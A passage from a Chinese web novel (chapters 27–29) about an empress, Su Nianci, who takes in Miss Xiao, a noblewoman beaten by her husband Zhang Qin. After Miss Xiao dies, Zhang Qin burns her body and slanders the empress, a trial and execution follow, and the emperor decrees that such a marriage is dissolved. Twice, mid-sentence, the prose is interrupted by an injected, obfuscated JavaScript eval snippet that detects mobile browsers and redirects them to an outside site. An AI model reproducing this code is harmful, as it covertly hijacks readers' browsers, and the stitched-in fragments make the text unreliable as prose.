“娘子你傻不傻,他明明就骗你了。在你面前从来没提起过肖小姐,提起过当年的事。皇上若还是以前的岳凌小公子,他就不会强迫您入宫,不会放火要烧死您。娘子您不问,那我们去请老爷、夫人找个大夫或接生婆,看看肖小姐可真的是落过胎。” “不要,这对肖小姐不敬。小梅不要问了,什么都不要问了。” 苏娘子崩溃的大哭了又极力压制着哭声,抽动着双肩像只是风中落泪的山茶花。小梅心疼的抱住她,也跟着偷偷的哭。 “好,娘子,奴婢不问了,什么都不问了。只是你可不可以对自己好一点,你这样委屈自己到底值不值得。” 大抵因为她从小到大得到过很多爱,所以也总不吝啬去爱别人。 这时候苏萤臣和文夕夫人考虑再三还是下定决心将肖小姐送回去,先去肖家,肖家不行就送到章家。那么大一个人不能平白无故死在苏家,他们想把人送走,却也隐隐觉得这烫手的山芋只怕是丢不掉了。 下人很快就抬来了轿椅,抱来柔软的被子,文夕夫人亲自铺上,再唤来了苏三郎。 “三郎,你进去把肖小姐抱出来,动作轻些别再伤到她。还有和她说清楚,不是苏家容不下她,实在是…..” “爹娘,这样做会不会…..” 三郎面色为难,从今夜的局势看来肖小姐怕是哪里都回不回了。 苏娘子看见抬来的轿椅,擦干眼泪,整理好情绪。提着裙子着急的跑到苏萤臣和文夕面前,披风掉了小梅跟在后面捡,赶到她身后贴心披上。 “娘子,小心别受凉了。” 苏娘子难过的望着父母,哽咽道:“爹娘,不要送她回去了。他们要来早就来了,这样把肖小姐抬出去,像一个皮球一样被踢来踢去的很可怜的。” 文夕夫人面色为难,“你这孩子,万一人死在家里了怎么办?” 苏萤臣拉了拉文夕夫人安抚她,沉声道:“不是非要她送走,是她死在苏家只怕会招来是非,惹祸上身。” 苏娘子:“爹娘,我们行得正坐的端,没做亏心事怕什么。要是他们都不要肖小姐,她死在了我们家里,那我们就送她最后一程。爹爹从小您就教我,昔人所美,天下大同。人不独亲其亲,子其子,鳏寡孤独废疾者皆有所养。肖小姐不管她是谁的女儿,现在如何,她都是国家的子民。她的父亲丈夫不管她,但我是皇后,您是大学士,受万民供养食禄,独我们不能不管她。” 苏三郎并不觉得苏娘子的话有道理,为什么肖小姐就得她来管。但肖小姐太可怜了,三郎心肠软,煞有其事的应和,“爹娘,妹妹说的对。您说谁愿意临死前被踢皮球似的踢来踢去的,都要死了心里得多难过啊。” 苏萤臣望了一眼客房,“算了,天快亮了,早上凉,肖小姐更受不得风。念儿说的对,老夫是大学士,昔日在黄河边上遇到一掊白骨也要以礼安葬,又怎么能对活生生的人束手旁观。” 一大家子都这样表态了,文夕夫人也是刀子嘴豆腐心的心肠,绷着脸抓着硬梆梆道: “肖小姐我不管了,但我的女儿我要管的。念儿你现在看见了,嫁错人是什么下场了,一个活生生的例子就摆在你眼前。你必须要给娘和皇帝那小子和离,他不同意就叫你大哥打到北京城下来。” “娘,现在说肖小姐的事呢,您扯我干嘛。而且大哥怎么可以打到京城来,这不是造反吗!” 苏娘子躲开文夕夫人,跑到客房门外站着去了。 过了约莫一个多时辰,天色开始逐渐大亮。房里突然传来一阵撕心裂肺的嚎哭,苏娘子听见难过的眼泪还是掉了下来。一夜都候在院子里的苏萤臣、文夕夫人还有苏三郎纷纷别过连,难过的叹气。 随后苏家报丧的下人就跑去报信了,这次肖家人依旧没来,章家人倒是来的很快。章钦穿着丧服前来,跟着一群仆人哭丧,一路从城南章家哭到江米巷。吸引了一大群围观看热闹的百姓,交头接耳议论。 章钦闹着要肖小姐的尸体,苏家人不得已把尸体搬到府外。章钦当场抱着肖小姐的尸体撕心裂肺的哭,万分悲伤。哭完正要搬尸体时,尸体竟然凭空起火,章钦丢下尸体赶紧跑开,火烧起来很快就引燃了尸体。 江米巷苏家外混乱,苏萤臣一手拉住文夕夫人,一手拉住苏娘子往后退,苏三郎上前当在他们身前,指挥下人提水救火。刚两桶冷水浇上去,火苗瞬间蹿出几丈高,吓得所有人连忙后退躲避。 想不到又是如此熟悉的火势,江米巷里正巧有人家休憩房屋,在路边堆了沙土。苏娘子赶紧制止,扯着嗓子大喊:“三哥,别用水,用沙土!” “跟我来!” 三郎听见她的话,抢过下人手中的木桶冲到巷子里提沙土。沙土浇在尸体上立刻就掩盖了火势,弥漫开白烟,下人跟着泼几桶沙土火势就熄灭了。等三郎回头,章钦已经蹿到苏娘子面前,指着她的鼻子破口大骂。 “….苏念辞,这是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702948|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么回事,我夫人的尸体怎么会起火了!我夫人到底怎么死的,人好好的,怎么死在你们苏家了!苏念辞,你今天必须给老子一个交代!不要以为你是皇后我就怕你,老子要去大理寺告你们苏家仗势欺人,谋杀我夫人!” 围观的百姓听见怒骂声音,立刻就投过来了好奇的目光。苏娘子最是讨厌别拿着手指头对自己指指点点,厌恶的拍开章钦的手。 “你胡说八道什么,我为什么要杀肖小姐?” “为什么?”章钦冷笑,大声嚷嚷起来,又指着苏娘子鼻子痛骂,“苏念辞,你装什么装!谁不知道你嫉妒我夫人是皇上的旧情人,心生嫉妒痛下杀手了!” 苏萤臣上前护住苏娘子,挡在章钦面前,沉声怒斥道:“章公子不要血口喷人,说话要讲证据的!” 苏娘子气不过,钻上前挡住苏萤臣,破口大骂。别瞧她个子小小的,骂起人气势可不弱。逼得章钦节节后退,手忙脚乱的险些自己被自己绊倒。 “混蛋,畜生,狗崽子!在场的人谁不知道你殴打虐待肖小姐,她是被你殴打至脾脏破裂而死的!你半夜睡的着吗,你不怕肖小姐来找你吗!” “苏念辞你….你干什么,别过来!老子不怕你,老子现在就去大理寺告你谋杀我夫人!” 章钦狼狈的躲开,跟着疯狗一样叫嚣着。苏娘子火气一上来了就搂不住,手上这会儿没上了,上前一把就揪住了他的衣领拖到肖小姐的尸体旁。 “狗东西,肖小姐的尸体为什么起火了!刚才只有你一个人碰过她,你到底要干什么,打死她还不够还烧了她让她死也不安定吗!” “苏念辞,你有什么证据说我烧死她了!别忘了人是在你们苏家没的,你说老子打她了,谁看见了!我们可只看见人是昨天进你们苏家的,怎么不到几个时辰就死了!苏念辞你怎么知道我夫人脾脏破裂了,知道的那么清楚,你怕是心虚吧!” 章钦突然横起来,挣开苏娘子,大声吆喝围观的百姓,当众高声大谈肖小姐和皇帝的私情。 “乡亲们三年前,我夫人尚未出阁前曾经进宫服侍过老太妃,也就是那段时间认识的皇上。当时在京城里一度成为一段才子佳人的佳话,皇上还带她出游祭过祖,这些事所有人都知道。如今我夫人死在皇后府上,难道不应该解释一下吗!” 苏三郎听见这话立马就忍不住了,冲上前揪着章钦狠狠的揍,“混蛋,你胡说八道什么?昨天若不是我妹妹救下肖小姐她早就死了,你竟然倒打一耙,看我不揍死你!” “杀人凶手,恼羞成怒心虚了吧!”章钦摔到地下,抱着脑袋死扛着不还手让三郎揍。看热闹的百姓交头接耳议论,这些事在京师里都有些风声,但没有人大肆公开宣扬过,今日倒是头一遭了。 苏娘子站在一旁就看着章钦挨揍也不出手拦,倒是隐隐闻到了些怪味。苏萤臣看不下去三郎的莽撞,上前来拉架。苏娘子先一步拉住他的胳膊,伸手过去给他闻。 “爹爹,火油的味道。” 苏萤臣嗅嗅,果然是。 “在哪里沾到的?” 苏娘子指了指章钦,苏萤臣立刻喊道:“三郎,把章钦的衣服脱下来!禁卫军听令,章钦虐杀妻子致人死亡,私携火油毁尸灭迹,污蔑皇后罪加一等!立刻把人抓起来,送到大理寺去!” 禁卫军得令,冲上前围住章钦和苏三郎,帮着脱下他的衣服。果然在上面闻到浓厚的火油味,应当是刚才趁乱哭丧的时候到在尸体上沾染了衣服,随后禁卫军还在烧焦的尸体上找到了装火油的竹筒。 章钦见事情败露,挣开禁卫军冲到苏娘子面前,瞪着通红狠戾的眼睛,疯了似的掐住她的脖子。文夕夫人抢了下人的水桶,上前来朝着章钦的后脑勺狠狠来了一桶。小梅和几个下人趁乱一起把章钦推到地下,禁卫军上前来几下就抓住了他。 “苏念辞,你别得意!我不好过,你和皇帝也别想好过!我告诉你,你不过是一个替身,替身而已。他喜欢的是我的夫人,堂堂天子觊觎一个有夫之妇!真是滑天下之大稽,不知哪儿来的野种果然上不了台面!” 章钦还在叫嚣发疯,睁着猩红的眼睛,怒瞪着苏娘子。苏娘子上前,往他脸上狠狠掴了一巴掌,怒叱道: “放肆,章钦你死到临头了还胡说八道!我会让你给肖小姐陪葬的,别以为打死了人你还可以逍遥法外!把他送到大理寺去,再敢胡说八道,割了他的舌头!” 这只是一句气话,苏娘子这个时候并不想动用私刑的。但是天亮后大理寺照例传唤,苏娘子去对峙的时候,章钦的舌头竟真的让人割掉了。 28. 第 28 章 大理寺过堂的时候,官堂外挤满了围观的百姓,差役押着章钦从大牢里出来,跨高半人石砌门槛才能入堂。 围观的人都知道他被拔掉舌头了,吐着满口鲜血说不出一句话,却在堂上奋力挣扎,好几扑到苏娘子面前,咿咿呀呀的尖叫怒吼,像是受了天大的冤屈一般。若不是早就恶名在外了,不知道的人还以为以为这是一个怎么样至诚至善的男子,为妻伸冤被权贵虐待至此。 苏娘子就坐在的大堂上,在大理寺卿三尺案旁,放着一把酸柳圈椅,垫着华丽的锦锻。章钦扑上来了,有官差替她的拦着,飞溅出来的血水有干净的锦帕来擦,坐的久了口渴了会有茶水送上来。 但是帮着她说话的声音不多了,从挤在官堂门口到街头巷尾,开始有人在议论她因妒杀了肖小姐,并以权势虐杀章钦封口。 局势对她有些不利了,大理寺过堂很轻松的就定了章钦的罪,判以斩立决。写在卷宗上的第一条大罪就是污蔑皇后杀人,打死肖小姐的罪写在最后面,不过寥寥数语。卷宗当场就送到刑部去复核,顺利的话皇帝审批后,不出两日章钦就会被斩首。 这样的结果其实是在意料之中,甚至是情理之中,只是京师的舆论有些不对。有些人开始质疑苏娘子到底配不配为后,值不值得天下成名的爱戴。隐隐的,她的名声开始变得有些和皇帝一样丑了。出门的时候,甚至有多事大胆的妇人多舌的问。 “苏娘子,肖小姐真的是你杀的吗?” 苏娘子听见都惊呆了,不知道坊间为什么会有人信章钦的话。她脸色不好,蹙着眉。妇人知道问了问不该的问的,赶紧找补道: “娘子,我….我不是那个意思。当然了章钦死有余辜,皇后娘娘杀的好….” 妇人跨着篮子赶紧躲开了,苏娘子望了一眼,神情哀怨。 ——— 紫禁城里朝令夕改,皇帝埋在养心殿里将局势弄的一团糟,一天要从养心殿传出数十道政令。 司礼监传旨的都有心得了,揣着新的旨意假装到通政司传旨。实则躲在养心门外躲着掐时间,私下还下赌注,赌新圣旨什么时候传出来。堵对了的一次能赔三十吊银子,太监们还挺乐此不疲的,赢了银子再把圣旨一起送到通政司。 朝廷的政令寻通常先送到通政司,由知事誊抄后分送到紫禁城和阁内。内阁票拟拿出章程,送到司礼监呈递皇帝,最后由皇帝批红了通过司礼监送回通政司誊抄,分发六部政令传抵天下。 这会儿新的旨意传来,知事们也不着急誊写了,等着下值前太监送来最新的一份旨意抄写了分发下去。不过抄不抄也都不是很重要,因为第二日一定还有新的不同的旨意。 三天内只全国调兵一事就发出了二十道旨意,京师城一会要封城,一会儿又开。有百姓携家眷出逃,跑到半路听说皇帝要招抚苏明伯了打不起来又跑回城。 到天黑城门突然又锁了,禁止出入,苏家都第四次被禁军围了。人们又觉得肯定要打仗,疯囤米面粮食以备苏明伯围城,奸商趁机哄抬物价。市场、米铺竟无粮可买,客栈酒楼清冷,街头也没有小贩做敢上街做生意了。夏日正式万物竞争的时节,天子脚下竟一片萧条之色。 直到有大臣上书为肖阁老求情了,奏本堆积在奏疏山里,意外掉在地上大福捡起来搁在桌上。皇帝顺手拿起来,看过之后神情就恍惚了。 “三福,肖阁老有个女儿是不是?” 三福给皇帝沏来新的茶水放在桌子,想了想应道:“是啊,皇上忘记了。肖小姐几年前还进过宫来,您那时候还挺喜欢她。大伙都以为她以后会是皇后娘娘,结果她突然就出宫嫁人去了。听说嫁了人好像过的也不是很好,不过这事肖阁老的家事,奴婢不敢瞎编排。” “她死了,死在苏家里。”皇帝脸色沉重,递过去奏疏让三福看,“李廷致上书请求朕宽限阁老几日,容他为女儿扶棺回乡。” “啊….她怎么回死在苏家了,皇后娘娘她…..” 可这都已经是两天前的奏疏了,皇帝这会儿知道了才开始着急,一头扎进奏本里翻找奏疏。 “朕听说肖小姐的丈夫是个混球,此事他肯定是要赖上皇后的,快找找看有没有刑部的奏疏。” “是万岁爷。” 两人在一桌奏疏里乱翻,先是找到了刑部送来勾决章钦的奏疏,压在最底下还有肖小姐的尸体判给了章家的奏疏,和肖阁老的辞呈被摔开丢在地上,夹层里依旧夹着那张百姓的请愿书。 皇帝探身捡起奏本盘腿坐在地上,第一次仔细看间奏疏里的内容。里面除了骂他乖厉、毫无天子德行的话就是愧对先帝,愧对列祖列宗的话。只有那张请愿书,认真的看了三遍,他终于从一个一个的名字后看出了背后的意义。 百姓在守护的不仅仅只是一个苏娘子,而是一个在婚姻里险些被丈夫虐杀的妇人。在民间里也许有无数这个的妇人,死也不足激起一圈涟漪。只有在杀后案上,他们可以愤怒的发出他们的声音。 “三福,拿笔墨和圣旨来。” 三福麻利的端来皇帝要的东西铺在地砖上,皇帝写下废止禁休令的圣旨,思及肖小姐故在最后加了一条:丈夫虐杀妻子至人身亡,姻亲自行解除,尸身判归娘家亲族安葬,无亲族者由于朝廷安置。 “这是最要紧的一道圣旨,朕盖了大印,你赶紧送到通政司去,让他们赶紧颁布天下。” 皇帝写完丢下笔吹了两下,拿到御案上盖大印,三福手疾眼快的拉住他的胳膊。 “万岁爷,您想清楚了,这圣旨一颁布下去,朝廷的禁休令就废止了。纵使您不答应与皇后娘娘和离,皇后娘娘告去大理寺,只要能拿出杀后的证据。照您的圣旨的意思,大理寺就能判您和皇后娘娘和离的。天子犯法虽很多的时候只是玩笑话,但真的拿到台面上来可是有千斤重的!” 皇帝犹豫了一瞬,突然又很决绝的盖上大印,“朕知道,可朕不信皇后明明知道坤宁宫的火不是朕放的还要同朕和离!” “万岁爷,皇后娘娘心里没您的,从入宫来她没有一日不想离开的。如果她心里真的有您,怎么去了苏家那么久还不回宫。如今文夕夫人对您的态度,禁休令一旦废止,她一定会让皇后和离的!” “是吗?”皇帝其实盖完就后悔了,非常的迅速,几乎就要反悔收回旨意了。“三福,快拿着圣旨送到通政司去,现在就去!这道圣旨不是为了朕,是为了肖小姐。她死了,听说她一直过的不好,她肯定死也不愿意再回章家的。朕把肖小姐还给肖阁老,叫肖阁老接她回家。” 皇帝胡乱的抓起圣旨塞到三福怀里,撵他出养心殿。人跑没影了才大松一口气,害怕的走出殿,站在御阶上看着三福越跑越远,背影小的跟个小红豆点一样。 养心门外还躲着等旨意的太监,争论着最新传出来的旨意谁猜的时辰准,谁该赢银子。皇帝听见门后的动静,好奇的走过去,静悄悄的站在他们后面。 “你们在这里干什么?” “奴….奴婢,万岁爷饶命!奴婢该死,万岁爷饶命!” 门后七八个太监扑通跪下地,哭丧着脸哀嚎磕头求饶。慌乱里露了怀里的圣旨,引起皇帝的注意。 “这是什么,朕的旨意?为何不送去通政司,在这里赌银子?” 太监颤颤巍巍的抽出怀里的圣旨,双手捧到皇帝跟前,“因为万岁爷的旨意太多,通政司的大人们拿不准您到底想干什么,就让奴婢们在宫门外等着。拿到了最新的旨意再送到通政司去,知事大人们再分发给六部。您今天一天的十道圣旨都还在这,光是河南掉粮,您就发了三道圣旨,每道还都不一样。不是奴婢们偷懒,北京城这会儿都乱套了。” “既然认为朕做的不对,为什么不说?为什么都不说,为什么都等着看朕的笑话!” 皇帝朝太监发火,抓起那些传达着自己的旨意,盖着大印代表国家最高政令的圣旨扔的满地都是。没有人知道这几天他有多慌多乱,西番叛乱、苏明伯起兵造反、河南暴雨河水倒灌,黄河肆虐,瘟疫横行,流民百万….如此种种不可描述,朝廷里没有一个人站出来帮他出谋划策,束手旁观看着他胡乱下达政令,搅得民生不得安宁。 但那道废止禁休令的旨意很快就送到了通政司,并分发给了六部,不到半日时间就消息就传遍了京师,只是肖小姐终究还是没有等到。 等着皇帝勾决章钦的日子里,关于肖小姐的尸体,肖家去争过,但按律妇人身亡依旧是夫家人,章家也不肯放手,大理寺把尸体的判给了章家。 章家老太爷是个极为封建迷信的老头,坚信肖小姐不祥,嫁到肖家非但未生下一儿半女,还害死了自己的儿子。关系上又是章家撇不掉的儿媳,一江湖道士告诉章老太爷肖小姐死后会变成恶鬼来索命,需要把她的尸体弄回来葬在一处至阴之处,以秽镇压百年才可保章家上下平安。 肖小姐的尸体到章家人手里就被拉到了城郊石家庄上,他们在那里买了一块废旧旱厕,做完法事就把棺材沉到秽水中。 禁休令下,苏娘子和苏三郎带着朝廷的文书,赶到石家庄当场扔到章老太爷脸上。带着人抢回棺椁,抬上一早就准备好的牛车,运到净梵寺还给里在里面养病的肖阁老。 因为皇帝勒令他三日内不许离京,故搬到了净梵寺,自的得知肖小姐死后,生了一场大病。苏娘子再看见他,老头已不似往日的神奇,瘦的皮包骨。要人搀扶着才能蹒跚的走到肖小姐的棺椁前哭,老泪纵横。 “臣女之事烦扰皇后娘娘了,老臣自此携小女归乡了。” 肖阁老只能简单的行礼,低头点了点以示恭敬。苏娘子走到棺椁面前,把禁休令的文书放到了肖小姐身边。 “阁老,我不懂。您明明知道自己的女儿受夫家虐待,为何只是冷眼旁观?您想废除朝廷的禁休令,为何不直接向皇上谏言,又或者您就是辅政大臣,这件事您甚至可以自己做主。但是您什么都没做,肖小姐才会活活被章钦打死。” “老臣不过一无能昏聩之背,朝廷大事并不由臣做主,也不该由臣做主。” “可是朝廷的事一直都由阁老做主的,阁老不是也很想做主吗?” 苏娘子语气从不解变得有些不善,意识到自己失礼后,缓和了神色略微尴尬。 “这些天京城里发生的事,阁老可是知晓?” “……”肖阁老沉默。 “我若真的想做这个皇后,阁老以为如何?” “自古得民心者得天下,皇后娘娘德行皆配自可为后。” 肖阁老沉声道,扶住着家仆的手慢步走进寺里。没一会儿里面就收拾好了行囊,一行人为肖小姐扶灵回乡。 苏娘子大喊,“阁老,不管阁老与皇上曾经有何恩怨,我希望都可以借此机会一笔勾销,希望阁老安享晚年!” 肖阁老南下而去,脚步一刻未停,也不曾回头。 ——— 章钦的勾决书下到刑部,当日人就被提到菜市场处刑,头上套着黑色的头套。苏娘子和苏三郎躲在一旁的角楼上观刑,刽子手手起刀落。脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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文夕夫人抓起纸笔塞进苏娘子手里,逼着她落笔。苏娘子不从,一把扔了纸笔,掀翻了砚盘,墨汁泼洒流满酸柳桌面。 “娘,我不要!我不写,我不要和他和离。肖小姐的事一定是章钦乱说的,他在故意离间我们,他背后一定有人的!我们不要被人牵着鼻子走了,我们若是也不管岳凌哥哥,他身边就真的一个人都没有了!他现在只是太害怕慌乱了,最近发生的事情很多,他一定可以慢慢理顺的。没有人天生就会做皇帝,他很聪明给他点时间他会明白过来了的!” “念儿,为了一个男人你连娘的话都不听了!你是娘的心头肉,娘疼你爱你还来不及,娘会害你吗!娘只是希望你安安稳稳嫁人生子,平安一生。岳凌,我不是没给过他机会。当初他强抢你,娘就是去大理寺告他一个奸/污之罪也是有王法的!可就是因为你喜欢他,娘同意你们的婚事了!可是呢他自己做了什么,新婚之夜冷落你,火烧坤宁宫,兵围苏家,那天晚上你说没事就真的没事了吗?那你的手又是怎么回事,他强迫你,不是因为你奋力反抗他没有得逞这件事就没有发生过!还有肖小姐的事,章钦不提他还打算瞒多久!你以为他和章钦比起来算是什么好东西,娘绝不让你再回宫去。你给现在就给我写绝婚书,现在就写!” 文夕夫人捡起笔纸,抓住苏娘子的手,胡乱用袖子擦干桌上墨渍水痕,按着她的手往纸上写字。情绪疯狂激动,摁着苏娘子的手险些折断里面的骨头。 “娘….疼,我的手疼,您放开我啊!” “娘不放,你今天必须给我把绝婚书写了,娘今夜就让你爹进宫去同皇帝和离!” “我不,娘误会他了,他不是您想的那样的!他很好很好,只是有点笨,您给他点时间好不好!” 苏娘子哭起来,越是想说皇帝很好心里却越难过。尤其是文夕夫人能够毫不留情的驳斥她,翻出皇帝的烂帐来。她便对他越来越没信心了,可明明他都已经如此不堪了,却还想着维护他。这段感情如何变得这般卑微,她的如何又被他蒙蔽至此。 “娘,我不要同他和离,不要!” 苏娘子退开文夕夫人跑回青竹院,关上院门落了门栓。文夕夫人追来,在门外喊让三郎撞门。苏娘子跑上阁楼,听见院外的喊叫声把灯也熄灭了,钻进被子里嚎啕大哭。 不知过了多久,苏娘子哭着睡着了,院外的哭喊也停了。夜又像肖小姐死去的那个晚上,又黑又冷,月色都没有。 阁楼上的窗被冷风吹开了,苏娘子哭得有些喘不过气,掀开被子下床找水喝。窗边却站着一个黑影,她眼睛肿的睁不开,粘着眼泪迷迷糊糊的看见,丢下水壶跑过去抱住了黑影。开始她还不知道是谁,抱住他的那一刻就知道了,因为鼻间有淡淡的龙涎香。 “…..三哥,我和娘吵架了。明明知道她因为我生过病,情绪激动容易犯病,我还是和她吵架,不听她的话了。” 黑影本是唤苏娘子的名字的,听见她的话只是默默的抱住了她,像是哥哥一样把肩膀和怀抱都借给了她。等苏娘子冷静下来后就翻窗离开了,贴心的关好窗户,挥挥手让她赶紧上床休息。 翻下楼打开青竹院的门,苏三郎靠在青瓦墙上,仰头望着游廊上忽明忽暗的宫灯。 “我不知道我妹妹到底喜欢你什么值得如此委屈自己,你若还是个男人就证明你的感情和你这个人都是值得她不顾一切去奔赴的。” 皇帝在门下停了一会儿,看着苏三郎。但什么话都没说,转身关上门走了。 29. 第 29 章 关于皇帝和肖小姐的旧情,章钦有句话说错了,皇帝和肖小姐的旧情并不是人尽皆知的。但现在是了,还包含着皇后妒忌可能杀害肖小姐,皇帝觊觎人妻的流言。 皇帝光顾着在养心殿里面对堆积如山的奏疏张皇失措了,得知肖小姐之死后才知道原来京师这几天也发生了很多事。 他没有办法沉着冷静应对西番叛乱,洪水猛兽的灾情,以及每日被逼到窒息的废后奏疏。但奏疏里只是表明章钦污蔑皇后,具体怎么污蔑,说了什么话并没有详细记录。关于皇帝和肖小姐的旧情流言,觊觎人妻的事。皇帝出宫了才知道,原来流言在坊间已经传成了这副模样。他想去解释,告诉苏娘子他与肖小姐的事并不是坊间传的那样。 苏家还是和以前一样,不像其他高官府邸戒备森严,后门依旧开着给江米巷相邻行方便。只是苏家正值多事之秋,很多人都不好意思来打搅了。院子里静悄悄的,走很久都看不见一个人。 皇帝来,三福候在巷子外等。从后门几乎是大摇大摆的进府,本能的往青竹院走。从宫里出来一直都冷着脸,一副生人勿近的模样。心里却乱糟糟的,不知道这样的来,除了靠一张嘴还能怎么解释和肖小姐的事。 可在苏家人,在苏娘子面前,皇帝已经很明白自己没有任何信用而言了。真的见到了她应该说些什么,是上前去抱住她和她解释,自己同肖小姐没有旧情。还是安慰旧情已灭,他现在只喜欢她一个人。 其实当初对那个姑娘他是有过私情的,像是对苏娘子一样,娶了她,让她的父亲忠心辅佐自己。可是她的父亲太过于贪权,僭越到了皇位之上。他不信任那样的外戚,所以他把肖小姐送出宫了,转而有了一个更适合的目标。 而这些事现在像是一把刀一样悬挂在脖子上,他有些不敢轻举妄动了。不知是对于失去苏家人支持的恐惧,还是失去苏娘子的恐惧。 后来走到穿堂下听到了争执声,皇帝轻步靠近贴着青瓦墙下的漏窗看见苏娘子和文夕夫人在吵架。三福口中那个从来没有他,一直都是冷冷淡淡的,惹恼了她会下死手揍人的皇后,哭着和母亲说不要同他和离。 听见那些话,皇帝没有想到自己并没有想象中欢喜雀跃或是侥幸,侥幸只要苏娘子还是他的皇后,苏萤臣就一定会帮他夺权,苏娘子在宫里,不管是苏明伯还是苏明仲纵使掌握天下百万兵马也不会反。 他只觉得心疼的厉害,喘不过,像是突然患了心疾一样,拼了命的用手揉也没用。苏娘子跑出来了的时候,他害怕的躲开了。文夕夫人追过来,更是吓到魂都掉了。 皇帝从来没有觉得自己有那么害怕过,害怕面对苏娘子,害怕面对文夕夫人,害怕面对她们的质问哑口无言。他就狼狈的躲着,像个胆小鬼一样躲在墙后,直到被苏三郎发现。 “你就打算这样躲在这里做一个缩头乌龟、胆小鬼是吗?我妹妹从小最是听我娘的话了,从没有忤逆过她。” 皇帝不明白他的意思,是怨他辜负了他的妹妹,还是怨他破坏了他妹妹和母亲的关系。但文夕夫人离开后,三郎翻墙进了青竹院从里面打开了门。 望着那座耸立在黑夜里的小楼,哭着都停止了,皇帝好像明白了。爬上楼翻窗进了屋子,苏娘子睡着了,在雕花拔步床里团成一个小小的被团。很久很久才从里面拱出来,屋子里很黑,皇帝看不清她的脸。但知道她下床了去找水喝,迟钝的发现屋子里的黑影。怕她害怕,皇帝想出声叫她的名字。可是她先跑过来抱住了他,哭着喊他三哥。 皇帝终于想起来忘记了很久的事,他也曾是这个姑娘的哥哥,小时候她会像依恋她的三个哥哥一样依恋他。 那个时候他才从景阳宫里出来,性子孤僻胆小,甚至是不会说话。穿着小小的龙袍坐在皇位上每天都在发抖,苏萤臣除了耐心的教他读书写字,还会带着女扮男装的小姑娘来南书房陪他说话,陪他玩。后来还会带他去大学士府,文夕夫人会给他准备干净的衣裳,温暖的牛肉粥,在自己三哥儿子的房间里铺上他的位置。告诉他以后就和哥哥们一起睡觉,一起吃饭上学骑马射箭,就像是多了一个儿子一样疼爱他。 大学士府邸三位公子一个娘子有的,他也会有一份一模一样的。和他们兄妹三人穿一样的衣服,领一样的月钱,用一样的文房。 直到后来有一段时间苏萤臣告假,很久很久都没有进宫,也不来接他去大学士府。他让景阳宫的老太监带他出宫来找,大学士府大门紧闭着人都空了。 再到大学士府已经是三个月后了,苏萤臣还是和以前一样教他读书写字,但不再带他家的小姑娘进宫来了。也不怎么带他去大学士府,他要求很久很久才能去一次,文夕夫人对他也不怎么热情了。恭恭敬敬,冷冷淡淡的。 苏家的小姑娘来找他,回去会被狠狠的骂,可她还会跑来和他告状。没多久苏家远在四川的老太君病重,苏家就把小姑娘送回到四川去了再也没回来。似从那时候起他就忘记了曾经得到过的那份温暖,每日陷入患得患失之中。 这夜,皇帝最后终究没有唤出苏娘子的名字。他原以为她会认出他的,质问他和肖小姐的关系,与他决裂与他和离。可是没有,她叫他三哥。皇帝默默的应了,想到她和文夕夫人争执,嚎啕大哭的模样,哀怨的想若是真的还是她的哥哥该多好,就不会叫她哭,叫她和文夕夫人吵架了。 离开青竹院后,皇帝脑海里一直盘旋着三郎的句话。回宫的路上他们遇见从工部回来的苏萤臣了,三福提醒皇帝钻跳下车,跑到了他面前很不争气的红了双眸。 “师父,对不起。” 苏萤臣神色焦急,匆忙。并未因皇帝而停下脚步,只匆匆道:“河南灾情告急,老夫今夜就连夜启程赶往河南。京城的事皇上要自己拿主意,老夫只能告诉皇上,亲政有的比如今更是危机的时刻,届时皇上又当如何应对。皇上做事前想清楚了,治国安邦最忌秉持多做多错,少做少错,不做不错之心,皇上如今可就是怕了!” “师父…..” 皇帝不太明白连忙喊苏萤臣,但他已走了,带着几日来和工部拟定的治河方略悄悄出京了,自此一去六个月。 三日后消息传到宫里,皇帝撤了苏家外的禁卫军,京师也解封了。他让司礼监去通政司把这些日下过的旨意都理了一遍,誊抄回来分门别类,放在新置的三张大桌上。 养心殿里依旧还有圣旨,皇帝把调来京师勤王的五万绥兵调给了苏明伯,加三十万担粮草,任命他为西征大将军,出征西番平叛。 这是一步险棋,有官员紧张的不得了,担心这是为虎作伥,叫苏明伯领着六万兵马反手过来围攻京师。旨意传出京师,半个月后传来了苏明伯奉命西征的消息,从蔚县携三千精锐日行八百里奔西番。 皇帝大松了一口,从此后养心殿的圣旨不会再像以前那般反复了。他依旧还是不知道自己做的对不对,但圣旨里的每一道政令都会反复斟酌后再落笔,然后送到通政司分发给各部下去执行。也不在害怕做错,左右摇摆不定自我怀疑,注意力转移到政令的执行和各地奏疏的反馈。 政令有误则改,官员懈怠则罢,束手无策时则下令广招天下能人志士献计献策,凡被采纳有利国有利民者赏银赐官。还下令在各地方州府设置风闻官,收集民意,京师百姓甚至可以到午门下直接写信给皇帝。 不到半个月光只是京师百姓的书信,掖门下的禁卫军就送了三车道养心殿。皇帝召集了一批识字的太监先行拣选,分门别类,捡要紧的先处置。地方的民书由风闻官代为呈奏,经驿站快马加鞭送到京师,由通政司送进宫,依急缓在第二日早朝廷议。 六部官员绝大多数都是肖阁老一手提拔,不配合皇帝,内阁剩下的几位阁臣也是一副少做少错,不做不错的态度。对时政不闻不问,每日只在早朝上高呼万岁,皇帝圣明,等着皇帝拿了主意照章去办,即使皇帝错了也不说。 但罢过几轮官后,奏疏里对政务的看法慢慢的就多了起来,有些人还会大胆提些建议。因政务不熟,想法还是很稚嫩。但皇帝还是很高兴,慢慢的发火就少了,看着早朝逐渐陌生的面孔,开始召对官员。 